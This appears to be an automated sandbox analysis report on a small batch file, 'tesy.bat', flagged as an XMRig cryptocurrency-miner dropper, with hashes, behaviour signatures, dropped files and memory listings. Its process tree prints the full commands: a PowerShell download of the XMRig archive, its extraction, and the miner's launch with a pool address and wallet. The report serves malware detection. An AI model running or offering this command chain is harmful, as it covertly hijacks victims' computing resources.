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Analysis

  • max time kernel
    1793s
  • max time network
    1825s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1908
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:772

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    52adc7c9943b6c847f423bfd97f0c478

    SHA1

    3d5f39908879d97133493cdc0db0688af01d186d

    SHA256

    8ddb3094a79cddd9b9665eb75ca0935cdb94927a145972eb16137ab530096231

    SHA512

    8a785afc06c58d27bf3ff65d181faba48ea71c96a6b99d9bf029ca02477ad9237c9e2a277305491ba5c98b62c3587dfce164351e5b1de44e93b8f8e6ac339c03

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1mj2z2mj.t13.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    113KB

    MD5

    8c82667d500b1819b54234f1045ff3ce

    SHA1

    ae184b96d6dc70d2298148c7b1f812264f336fc9

    SHA256

    98898688e02892eafd01560ab97fa46bfcb9e85c2a6e48c8a916878bc755e5d1

    SHA512

    7a53a4a0769934e9cf7db4b3093031e3563de96804d56e1644e272770efbaa96a1cb4100a5de2fe5e6d23e419b2f867aca4a091f3f3e3bbf4ebaf7cde3fc10fa

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    425KB

    MD5

    7dbdb8a75ec0774e2f14c6c89992f1ed

    SHA1

    6c00271c094aa023360fa10cc6db9f59faaf036f

    SHA256

    39499c23630ffd18d5be549e8e496a1ec12988c09a2a36c0e17ddfda6111b816

    SHA512

    3b88395a05779594d57f28ab97a4442252720b5cc057c46759b679f4c45c838cb419a2ab268ec6ea79e3cdd5efaacabd0eb72cf3d18e9784b7767fc9cd54e50a

  • memory/772-143-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-120-0x00000245C6C30000-0x00000245C6C50000-memory.dmp

    Filesize

    128KB

  • memory/772-188-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-187-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-186-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-185-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-184-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-183-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-182-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-181-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-180-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-179-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-178-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-177-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-176-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-175-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-174-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-146-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-173-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-121-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-122-0x00000245C6C90000-0x00000245C6CD0000-memory.dmp

    Filesize

    256KB

  • memory/772-123-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-125-0x00000245C6CF0000-0x00000245C6D10000-memory.dmp

    Filesize

    128KB

  • memory/772-124-0x00000245C6CD0000-0x00000245C6CF0000-memory.dmp

    Filesize

    128KB

  • memory/772-126-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-127-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-130-0x00000245C6CF0000-0x00000245C6D10000-memory.dmp

    Filesize

    128KB

  • memory/772-129-0x00000245C6CD0000-0x00000245C6CF0000-memory.dmp

    Filesize

    128KB

  • memory/772-128-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-131-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-132-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-133-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-134-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-135-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-136-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-137-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-138-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-139-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-140-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-141-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-145-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-172-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-171-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-142-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-144-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-147-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-148-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-149-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-150-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-151-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-152-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-153-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-154-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-155-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-156-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-157-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-158-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-159-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-160-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-161-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-162-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-163-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-164-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-165-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-166-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-167-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-168-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-169-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/772-170-0x00007FF682580000-0x00007FF683083000-memory.dmp

    Filesize

    11.0MB

  • memory/1908-41-0x00000201FDBA0000-0x00000201FDBB0000-memory.dmp

    Filesize

    64KB

  • memory/1908-42-0x00000201FDBA0000-0x00000201FDBB0000-memory.dmp

    Filesize

    64KB

  • memory/1908-40-0x00007FFF65AA0000-0x00007FFF6648C000-memory.dmp

    Filesize

    9.9MB

  • memory/1908-117-0x00007FFF65AA0000-0x00007FFF6648C000-memory.dmp

    Filesize

    9.9MB

  • memory/1908-93-0x00000201E59D0000-0x00000201E59DA000-memory.dmp

    Filesize

    40KB

  • memory/1908-66-0x00000201FDBA0000-0x00000201FDBB0000-memory.dmp

    Filesize

    64KB

  • memory/1908-80-0x00000201FDB70000-0x00000201FDB82000-memory.dmp

    Filesize

    72KB

  • memory/2692-17-0x00007FFF65AA0000-0x00007FFF6648C000-memory.dmp

    Filesize

    9.9MB

  • memory/2692-4-0x0000029CEBA40000-0x0000029CEBA62000-memory.dmp

    Filesize

    136KB

  • memory/2692-25-0x0000029CEBD50000-0x0000029CEBD60000-memory.dmp

    Filesize

    64KB

  • memory/2692-7-0x0000029CEBE60000-0x0000029CEBED6000-memory.dmp

    Filesize

    472KB

  • memory/2692-19-0x0000029CEBD50000-0x0000029CEBD60000-memory.dmp

    Filesize

    64KB

  • memory/2692-20-0x0000029CEBD50000-0x0000029CEBD60000-memory.dmp

    Filesize

    64KB

  • memory/2692-34-0x00007FFF65AA0000-0x00007FFF6648C000-memory.dmp

    Filesize

    9.9MB

  • memory/2692-29-0x0000029CEBD50000-0x0000029CEBD60000-memory.dmp

    Filesize

    64KB

  • memory/2692-28-0x0000029CEBD50000-0x0000029CEBD60000-memory.dmp

    Filesize

    64KB

  • memory/2692-27-0x0000029CEBD50000-0x0000029CEBD60000-memory.dmp

    Filesize

    64KB

  • memory/2692-26-0x00007FFF65AA0000-0x00007FFF6648C000-memory.dmp

    Filesize

    9.9MB